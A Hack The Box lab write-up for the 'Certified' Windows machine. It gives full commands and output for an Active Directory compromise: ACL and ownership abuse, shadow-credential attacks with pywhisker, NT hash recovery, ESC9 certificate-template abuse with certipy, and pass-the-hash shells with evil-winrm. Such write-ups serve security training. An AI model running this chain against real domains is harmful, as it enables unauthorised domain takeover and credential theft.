Featured image of post Certified - Windows Medium - HTB Writeup

Certified - Windows Medium - HTB Writeup

This is my first writeup for an HTB box.

Summary

User: ACL abuses
Root: ADCS template abuses

Enumeration

Starting with a simple nmap scan, we can identify that this machine is an Active Directory domain controller.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$ nmap 10.10.11.41 -Pn -v

PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl

With the provided account judith.mader we can use bloodhound-python to retrieve informations about the certified.htb domain.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
$ bloodhound-python -u 'judith.mader' -p 'judith09' -ns 10.10.11.41 -d certified.htb -c all
INFO: Found AD domain: certified.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc01.certified.htb:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc01.certified.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.certified.htb
INFO: Found 10 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.certified.htb
INFO: Done in 00M 03S

In BloodHound, we can quickly notice which path to take in order to gain access to DC01.

User

Judith -> Management Group

We can see Judith has WriteOwner over the management group. This allows us to add Judith as the owner and then as a member of this group.

First, we change the ownership of the group.

1
2
3
4
5
6
7
8
9
$ ./owneredit.py -action write -new-owner 'judith.mader' -target 'MANAGEMENT' 'CERTIFIED.HTB'/'judith.mader':'judith09'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Current owner information below
[*] - SID: S-1-5-21-729746778-2675978091-3820388244-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=certified,DC=htb
[*] OwnerSid modified successfully!

Then, we add Judith as a member of the group.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
$ ./dacledit.py -k 'certified.htb/judith.mader:judith09' -dc-ip certified.htb -principal judith.mader -target "management" -action write -rights FullControl
[-] CCache file is not found. Skipping...
[*] DACL backed up to dacledit-20250314-002015.bak
[*] DACL modified successfully!


$ net rpc group members "management" -U 'judith.mader' -S certified.htb           
Password for [WORKGROUP\judith.mader]:
CERTIFIED\management_svc

$ net rpc group addmem "management" judith.mader -U 'judith.mader' -S certified.htb

$ net rpc group members "management" -U 'judith.mader' -S certified.htb            
Password for [WORKGROUP\judith.mader]:
CERTIFIED\judith.mader
CERTIFIED\management_svc

Management group -> management_svc

Going back on BloodHound, we noticed that management_svc is kerberoastable but the hash retrieved can’t be cracked.
We can see that the members of the management group have GenericWrite over the management_svc user. By leveraging this permission, we can use the shadow credentials technique in order to gain access to management_svc and retrieve the NT hash.

First, we generate a .pfx file and populate the msDS-KeyCredentialLink attribute of management_svc using Pywhisker.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
$ ./pywhisker.py -d "certified.htb" -u "judith.mader" -p "judith09" --target "management_svc" --action "add"
[*] Searching for the target account
[*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: d1df9aac-4ae1-36e0-f803-d8e369ed930e
[*] Updating the msDS-KeyCredentialLink attribute of management_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Converting PEM -> PFX with cryptography: 9JZGbAPu.pfx
[+] PFX exportiert nach: 9JZGbAPu.pfx
[i] Passwort für PFX: c2U4qtZsMkLNEedx4nFb
[+] Saved PFX (#PKCS12) certificate & key at path: 9JZGbAPu.pfx
[*] Must be used with password: c2U4qtZsMkLNEedx4nFb
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools

Then, we retrieve a TGT for management_svc and the NT hash using PKINITtools.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ ./gettgtpkinit.py certified.htb/management_svc -cert-pfx 9JZGbAPu.pfx -pfx-pass c2U4qtZsMkLNEedx4nFb management_svc.ccache
2025-03-14 01:42:02,044 minikerberos INFO     Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-03-14 01:42:02,082 minikerberos INFO     Requesting TGT
INFO:minikerberos:Requesting TGT
2025-03-14 01:42:02,138 minikerberos INFO     AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2025-03-14 01:42:02,138 minikerberos INFO     37b5b0b8873bb21cdf40daad3dcf408af0be706f772bf52dda96dbecfa00f041
INFO:minikerberos:37b5b0b8873bb21cdf40daad3dcf408af0be706f772bf52dda96dbecfa00f041
2025-03-14 01:42:02,141 minikerberos INFO     Saved TGT to file
INFO:minikerberos:Saved TGT to file

$ KRB5CCNAME=management_svc.ccache ./getnthash.py CERTIFIED.HTB/management_svc -key 37b5b0b8873bb21cdf40daad3dcf408af0be706f772bf52dda96dbecfa00f041
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
a<...>4

$ crackmapexec smb 10.10.11.41 -u "management_svc" -H a<...>4
SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.41     445    DC01             [+] certified.htb\management_svc:a<...>4

We can then use evil-winrm to gain a shell on the machine using management_svc. Even if the port was not shown as open in the initial nmap scan, it’s open.
Finally, we can retrieve the hash for the user part.

1
2
3
4
5
6
$ evil-winrm -i 10.10.11.41 -u management_svc -H a<...>4
<...>
*Evil-WinRM* PS C:\Users\management_svc\Desktop> dir
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        3/13/2025   2:54 PM             34 user.txt

Root

management_svc -> ca_operator

Now that management_svc is compromise, we can see in BloodHound that ca_operator can also be compromise using the same technique, abusing GenericAll permission that management_svc has over ca_operator.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ ./pywhisker.py -d "certified.htb" -u "management_svc" -H "a<...>4" --target "ca_operator" --action "add"
[*] Searching for the target account
[*] Target user found: CN=operator ca,CN=Users,DC=certified,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 174934b2-1249-c39a-bc89-5b4b5c01b784
[*] Updating the msDS-KeyCredentialLink attribute of ca_operator
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Converting PEM -> PFX with cryptography: zlax30FB.pfx
[+] PFX exportiert nach: zlax30FB.pfx
[i] Passwort für PFX: CiktaI0YO7y9IV9T9mnM
[+] Saved PFX (#PKCS12) certificate & key at path: zlax30FB.pfx
[*] Must be used with password: CiktaI0YO7y9IV9T9mnM
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools

$ ./gettgtpkinit.py certified.htb/ca_operator -cert-pfx EkDY6hor.pfx -pfx-pass WlZFTKpVBy3BzPXcgzCX ca_operator.ccache
2025-03-14 03:11:26,295 minikerberos INFO     Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-03-14 03:11:26,333 minikerberos INFO     Requesting TGT
INFO:minikerberos:Requesting TGT
2025-03-14 03:11:50,020 minikerberos INFO     AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2025-03-14 03:11:50,020 minikerberos INFO     91a30e694f68d016d12e103de8305e1b124aee33130f0795aec79178e9e46b41
INFO:minikerberos:91a30e694f68d016d12e103de8305e1b124aee33130f0795aec79178e9e46b41
2025-03-14 03:11:50,023 minikerberos INFO     Saved TGT to file
INFO:minikerberos:Saved TGT to file

$ ./getnthash.py CERTIFIED.HTB/ca_operator -key 91a30e694f68d016d12e103de8305e1b124aee33130f0795aec79178e9e46b41
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
b<...>2

ESC9, ADCS template abuse

Per the name of the box and that ADCS is running on the machine, we can clearly assume the root part will concern ADCS certificates.

1
2
3
4
5
6
$ nxc ldap 10.10.11.41 -u management_svc -H a<...>4 -M adcs
SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.41     389    DC01             [+] certified.htb\management_svc:a<...>4
ADCS        10.10.11.41     389    DC01             [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS        10.10.11.41     389    DC01             Found PKI Enrollment Server: DC01.certified.htb
ADCS        10.10.11.41     389    DC01             Found CN: certified-DC01-CA

Using certipy-ad, we can find a vulnerable certificate template.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ certipy-ad find -u 'ca_operator@certified.htb' -hashes b<...>2 -dc-ip '10.10.11.41' -vulnerable
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'certified-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'certified-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'certified-DC01-CA' via RRP
[*] Got CA configuration for 'certified-DC01-CA'
[*] Saved BloodHound data to '20250313205721_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20250313205721_Certipy.txt'
[*] Saved JSON output to '20250313205721_Certipy.json'

$ cat 20250313205721_Certipy.txt
<...>
    Template Name                       : CertifiedAuthentication
    Display Name                        : Certified Authentication
<...>
 [!] Vulnerabilities
      ESC9                              : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extension
<...>

Using the attack path from thehacker.recipes for ESC9 we can compromise the domain administrator account.

We already have the NT hash of ca_operator, so we can change their userPrincipalName attribute to Administrator.

1
2
3
4
5
6
$ certipy-ad account update -username "management_svc@certified.htb" -hashes a<...>4 -user ca_operator -upn Administrator
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
    userPrincipalName                   : Administrator
[*] Successfully updated 'ca_operator'

Then, we can request an authentication certificate as ca_operator using the vulnerable template.
Ca and template values can be found in the .txt generated earlier.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
$ cat 20250313205721_Certipy.txt
<...>
Certificate Templates
  0
    Template Name                       : CertifiedAuthentication
    Display Name                        : Certified Authentication
    Certificate Authorities             : certified-DC01-CA
<...>


$ certipy-ad req -username "ca_operator@certified.htb" -hashes b<...>2 -target "10.10.11.41" -ca 'certified-DC01-CA' -template 'CertifiedAuthentication'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 7
[*] Got certificate with UPN 'Administrator'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

Finally, we can change back the userPrincipalName of ca_operator to themself and we can retrieve the administrator NT hash using the generated administrator.pfx file.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
$ certipy-ad account update -username "management_svc@certified.htb" -hashes a<...>4 -user ca_operator -upn "ca_operator@certified.htb" -dc-ip 10.10.11.41
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
    userPrincipalName                   : ca_operator@certified.htb
[*] Successfully updated 'ca_operator'


$ certipy-ad auth -pfx 'administrator.pfx' -domain "certified.htb"
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certified.htb': a<...>e:0<...>4

With this hash, the root flag can be retrieved using evil-winrm.

1
2
3
4
5
$ evil-winrm -i 10.10.11.41 -u Administrator -H 0<...>4 
<...>
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        3/13/2025   2:54 PM             34 root.txt

Resources

thehacker.recipes - certificate templates

Licensed under CC BY-NC-SA 4.0
Last updated on Mar 15, 2025 00:00 UTC
comments powered by Disqus